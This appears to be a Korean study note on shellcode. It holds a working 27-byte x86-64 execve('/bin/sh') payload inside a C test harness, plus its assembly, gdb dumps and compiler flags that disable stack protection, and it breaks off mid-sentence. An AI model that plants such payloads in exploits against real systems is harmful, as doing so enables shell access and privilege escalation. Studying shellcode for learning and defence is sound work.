Shellcode는 작은 크기의 코드로 소프트웨어 취약점을 이용하는 짧은 기계어 코드이다. 일반적으로 명령 셸(Instruction Shell)을 실행시켜서 피해자의 컴퓨터를 공격자가 통제(Control)한다.
Shellcode는 Assembly로 작성되고 기계어로 번역되어 사용된다. 흔히 root의 권한을 얻기 위해서 사용된다.
#include <stdio.h>
#include <string.h>
char code[] = "\\x31\\xc0\\x48\\xbb\\xd1\\x9d\\x96\\x91\\xd0\\x8c\\x97\\xff\\x48\\xf7\\xdb\\x53\\x54\\x5f\\x99\\x52\\x57\\x54\\x5e\\xb0\\x3b\\x0f\\x05";
int main()
{
printf("len:%d bytes\\n", strlen(code));
(*(void(*)()) code)();
return 0;
}
/*
* Execute /bin/sh - 27 bytes
* Dad` <3 baboon
;rdi 0x4005c4 0x4005c4
;rsi 0x7fffffffdf40 0x7fffffffdf40
;rdx 0x0 0x0
;gdb$ x/s $rdi
;0x4005c4: "/bin/sh"
;gdb$ x/s $rsi
;0x7fffffffdf40: "\\304\\005@"
;gdb$ x/32xb $rsi
;0x7fffffffdf40: 0xc4 0x05 0x40 0x00 0x00 0x00 0x00 0x00
;0x7fffffffdf48: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
;0x7fffffffdf50: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
;0x7fffffffdf58: 0x55 0xb4 0xa5 0xf7 0xff 0x7f 0x00 0x00
;
;=> 0x7ffff7aeff20 <execve>: mov eax,0x3b
; 0x7ffff7aeff25 <execve+5>: syscall
;
main:
;mov rbx, 0x68732f6e69622f2f
;mov rbx, 0x68732f6e69622fff
;shr rbx, 0x8
;mov rax, 0xdeadbeefcafe1dea
;mov rbx, 0xdeadbeefcafe1dea
;mov rcx, 0xdeadbeefcafe1dea
;mov rdx, 0xdeadbeefcafe1dea
xor eax, eax
mov rbx, 0xFF978CD091969DD1
neg rbx
push rbx
;mov rdi, rsp
push rsp
pop rdi
cdq
push rdx
push rdi
;mov rsi, rsp
push rsp
pop rsi
mov al, 0x3b
sys
//http://shell-storm.org/shellcode/files/shellcode-806.php
gcc -fno-stack-protector -z execstack shell.c -o shell
칼릴 리눅스는 보안이 있기 때문에 풀어줘야 한다.
위에 방법대로 해도 test로 유저를 변경하고 whoami를 쳤을 때 그대로 test였다.
그래서 msfvenom을 사용해, /bin/bash를 기계어 코드로 받고 실행 해 본 결과. 역시 그대로였다.
무엇이 문제 였을
여러가지 정보를 찾아 본 결과